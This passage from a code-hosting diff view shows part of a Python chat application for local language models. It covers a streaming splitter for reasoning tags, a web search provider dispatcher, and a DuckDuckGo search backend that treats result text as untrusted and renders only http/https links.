if at > budget // 2:
cut = cut[:at]
return f"{cut.rstrip()}\n… (the rest is in the plan card above)"
__all__ = [
"MAX_PLAN_CHARS",
"VERSION",
"build",
"flatten",
"merge",
"normalise",
"render_block",
]
File diff suppressed because it is too large Load Diff
+133
View File
@@ -0,0 +1,133 @@
"""Separating a reasoning model's thinking from its answer.
Endpoints do this two different ways and LLeMbas has to cope with both:
1. A dedicated ``reasoning_content`` field in the streamed delta. This is what
llama.cpp, llama-swap, vLLM and DeepSeek emit, and it is unambiguous.
2. ``<think>...</think>`` tags inline in ``content``. Ollama and various
proxies do this, and it is a nuisance: the tags arrive split across chunks,
so the text has to be scanned as a stream rather than with a regex at the
end.
The splitter below handles the second case. It buffers only as much as a
partial tag could occupy, so latency is unaffected in the overwhelmingly common
case where no tag is present at all.
"""
from __future__ import annotations
from collections.abc import Iterator
# Tag spellings seen in the wild. Checked longest-first so <thinking> is not
# mistaken for <think> followed by "ing>".
_TAGS: tuple[tuple[str, str], ...] = (
("<thinking>", "</thinking>"),
("<think>", "</think>"),
("<reasoning>", "</reasoning>"),
)
REASONING = "reasoning"
CONTENT = "content"
# Longest opening tag, minus one: the most that can ever need holding back
# while waiting to see whether a partial "<thi" turns into a real tag.
_MAX_PARTIAL = max(len(open_tag) for open_tag, _ in _TAGS) - 1
class ReasoningSplitter:
"""Splits a stream of content chunks into reasoning and answer runs.
Feed it whatever arrives; it yields ``(kind, text)`` pairs. Call
:meth:`flush` at the end to release anything still buffered.
"""
def __init__(self) -> None:
self._buffer = ""
self._in_reasoning = False
self._closing = ""
def feed(self, chunk: str) -> Iterator[tuple[str, str]]:
self._buffer += chunk
yield from self._drain(final=False)
def flush(self) -> Iterator[tuple[str, str]]:
yield from self._drain(final=True)
def _drain(self, *, final: bool) -> Iterator[tuple[str, str]]:
while self._buffer:
if self._in_reasoning:
index = self._buffer.find(self._closing)
if index == -1:
# Hold back enough that a closing tag split across chunks is
# still recognised once the rest arrives.
keep = 0 if final else len(self._closing) - 1
emit, self._buffer = self._split(keep)
if emit:
yield (REASONING, emit)
return
if index:
yield (REASONING, self._buffer[:index])
self._buffer = self._buffer[index + len(self._closing) :]
self._in_reasoning = False
self._closing = ""
continue
opening_at, opening, closing = self._find_opening()
if opening_at == -1:
keep = 0 if final else _MAX_PARTIAL
emit, self._buffer = self._split(keep)
if emit:
yield (CONTENT, emit)
return
if opening_at:
yield (CONTENT, self._buffer[:opening_at])
self._buffer = self._buffer[opening_at + len(opening) :]
self._in_reasoning = True
self._closing = closing
def _find_opening(self) -> tuple[int, str, str]:
best = (-1, "", "")
for opening, closing in _TAGS:
index = self._buffer.find(opening)
if index != -1 and (best[0] == -1 or index < best[0]):
best = (index, opening, closing)
return best
def _split(self, keep: int) -> tuple[str, str]:
"""Emit everything except the last `keep` characters."""
if keep <= 0:
return self._buffer, ""
if len(self._buffer) <= keep:
return "", self._buffer
return self._buffer[:-keep], self._buffer[-keep:]
def strip_reasoning(text: str) -> tuple[str, str]:
"""Split a complete string into (answer, reasoning).
The non-streaming counterpart, used when replaying stored content.
"""
splitter = ReasoningSplitter()
answer: list[str] = []
thinking: list[str] = []
for kind, piece in splitter.feed(text):
(thinking if kind == REASONING else answer).append(piece)
for kind, piece in splitter.flush():
(thinking if kind == REASONING else answer).append(piece)
return "".join(answer), "".join(thinking)
def format_duration(milliseconds: int) -> str:
"""Human phrasing for the 'Thought for ...' label."""
if milliseconds <= 0:
return ""
seconds = milliseconds / 1000
if seconds < 1:
return "less than a second"
if seconds < 60:
return f"{seconds:.0f} second{'' if round(seconds) == 1 else 's'}"
minutes, remainder = divmod(int(seconds), 60)
if remainder == 0:
return f"{minutes} minute{'' if minutes == 1 else 's'}"
return f"{minutes}m {remainder}s"
+108
View File
@@ -0,0 +1,108 @@
"""Web search providers.
One shape in, one shape out: a query and a limit go in, a list of SearchResult
comes back, and which service answered is a setting rather than a code path any
caller has to know about.
Everything here returns *untrusted third-party text*. A title or snippet from a
search result is exactly as much attacker-controlled as model output, and gets
the same treatment: escaped on the way into a page, and only http/https URLs
rendered as links.
"""
from __future__ import annotations
import logging
from dataclasses import dataclass
from typing import Any
from lembas.services.search import ddg, firecrawl, searxng
from lembas.services.search.base import SearchError, SearchResult
log = logging.getLogger(__name__)
@dataclass(frozen=True)
class Provider:
key: str
label: str
description: str
# Whether an administrator has to configure something before it works.
needs_setup: bool
PROVIDERS: tuple[Provider, ...] = (
Provider(
"ddgs",
"DuckDuckGo",
"No account, no key, no server to run. Rate limited if used heavily.",
False,
),
Provider(
"searxng",
"SearXNG",
"Your own metasearch instance. Needs its JSON format enabled.",
True,
),
Provider(
"firecrawl",
"Firecrawl",
"Hosted search API. Needs an account and a key.",
True,
),
)
_RUNNERS = {"ddgs": ddg.search, "searxng": searxng.search, "firecrawl": firecrawl.search}
def provider(key: str) -> Provider:
return next((p for p in PROVIDERS if p.key == key), PROVIDERS[0])
def availability(key: str) -> str:
"""Why a provider cannot be used, or "" when it can.
Checked before a search is attempted so the admin screen can say what is
wrong while it is being configured, rather than the first chat to try it
being where the problem surfaces.
"""
if key == "ddgs" and not ddg.is_available():
return (
"The ddgs package is not installed. Install it with: "
'pip install "lembas[search]"'
)
return ""
async def run(
config: dict[str, Any], query: str, *, limit: int | None = None
) -> list[SearchResult]:
"""Search with whichever provider is configured.
Raises SearchError with something worth reading; every provider translates
its own failures rather than letting an httpx exception escape.
"""
query = " ".join(query.split())[:400]
if not query:
raise SearchError("There was nothing to search for.")
key = config.get("provider") or "ddgs"
problem = availability(key)
if problem:
raise SearchError(problem)
runner = _RUNNERS.get(key)
if runner is None:
raise SearchError(f"Unknown search provider '{key}'.")
count = limit or int(config.get("max_results") or 5)
# A model that asks for fifty results is asking for a prompt nobody can
# afford; the administrator's number is the ceiling either way.
count = min(max(count, 1), int(config.get("max_results") or 5))
results = await runner(config, query, count)
log.info("web search (%s) for %r: %d results", key, query[:60], len(results))
return results[:count]
__all__ = ["PROVIDERS", "Provider", "SearchError", "SearchResult", "availability", "run"]
+62
View File
@@ -0,0 +1,62 @@
"""What every search provider produces, and how it fails."""
from __future__ import annotations
from dataclasses import dataclass
from typing import Any
from urllib.parse import urlparse
# A snippet is context, not an article. Longer than this and a handful of
# results crowds out the conversation they were meant to inform.
MAX_SNIPPET = 400
class SearchError(Exception):
"""A search failure with a message fit to show a user.
Same contract as LLMError in the chat client: one exception type, always
carrying text that can be put on screen without editing.
"""
def __init__(self, message: str) -> None:
super().__init__(message)
self.message = message
@dataclass(frozen=True)
class SearchResult:
title: str
url: str
snippet: str
@property
def host(self) -> str:
try:
return urlparse(self.url).netloc or self.url
except ValueError:
return self.url
@property
def is_linkable(self) -> bool:
"""Whether this result's URL may be rendered as a link.
Only http and https. A search provider is an untrusted source, and a
javascript: or data: URL arriving in a result and being turned into an
anchor is the obvious way this feature would be abused.
"""
try:
return urlparse(self.url).scheme in ("http", "https")
except ValueError:
return False
def clean(title: Any, url: Any, snippet: Any) -> SearchResult | None:
"""Normalise one provider's row, or None if there is nothing usable in it."""
url = str(url or "").strip()
if not url:
return None
return SearchResult(
title=" ".join(str(title or "").split())[:300] or url,
url=url[:2000],
snippet=" ".join(str(snippet or "").split())[:MAX_SNIPPET],
)
+88
View File
@@ -0,0 +1,88 @@
"""DuckDuckGo, via the ddgs package.
The default provider because it is the only one that works with no account, no
key and no server to run: enabling web search should not also be a
configuration exercise.
Optional at install time -- see the `search` extra in pyproject.toml -- so the
import is guarded and its absence is reported as something to install rather
than as a crash.
"""
from __future__ import annotations
import asyncio
from typing import Any
from lembas.services.search.base import SearchError, SearchResult, clean
try: # pragma: no cover - exercised by whether the extra is installed
from ddgs import DDGS
_IMPORT_ERROR = ""
except ImportError as exc: # pragma: no cover
DDGS = None
_IMPORT_ERROR = str(exc)
def is_available() -> bool:
return DDGS is not None
def _blocking_search(query: str, count: int, region: str, safesearch: str) -> list[dict[str, Any]]:
with DDGS() as client:
return list(
client.text(
query,
region=region or "wt-wt",
safesearch=safesearch or "moderate",
max_results=count,
)
)
async def search(config: dict[str, Any], query: str, count: int) -> list[SearchResult]:
if not is_available():
raise SearchError(
'The ddgs package is not installed. Install it with: pip install "lembas[search]"'
)
try:
# ddgs is synchronous. Run it on a thread: blocking the event loop here
# would stall every other chat in the process, including the one that
# asked for the search.
rows = await asyncio.wait_for(
asyncio.to_thread(
_blocking_search,
query,
count,
str(config.get("region") or "wt-wt"),
str(config.get("safesearch") or "moderate"),
),
timeout=float(config.get("timeout") or 20.0),
)
except TimeoutError as exc:
raise SearchError("DuckDuckGo did not answer in time.") from exc
except Exception as exc: # noqa: BLE001 - the library raises its own types
# Rate limiting is the common failure and worth naming, because the fix
# is to wait rather than to change anything.
detail = str(exc)
if "ratelimit" in detail.lower() or "202" in detail:
raise SearchError(
"DuckDuckGo is rate limiting this instance. Try again shortly, "
"or configure SearXNG instead."
) from exc
raise SearchError(f"DuckDuckGo search failed: {detail[:200]}") from exc
results = []
for row in rows:
# ddgs renamed its fields across versions; both spellings are read so
# an upgrade does not silently return empty snippets.
result = clean(
row.get("title"),
row.get("href") or row.get("url") or row.get("link"),
row.get("body") or row.get("description") or row.get("snippet"),
)
if result is not None:
results.append(result)
return results

Some files were not shown because too many files have changed in this diff Show More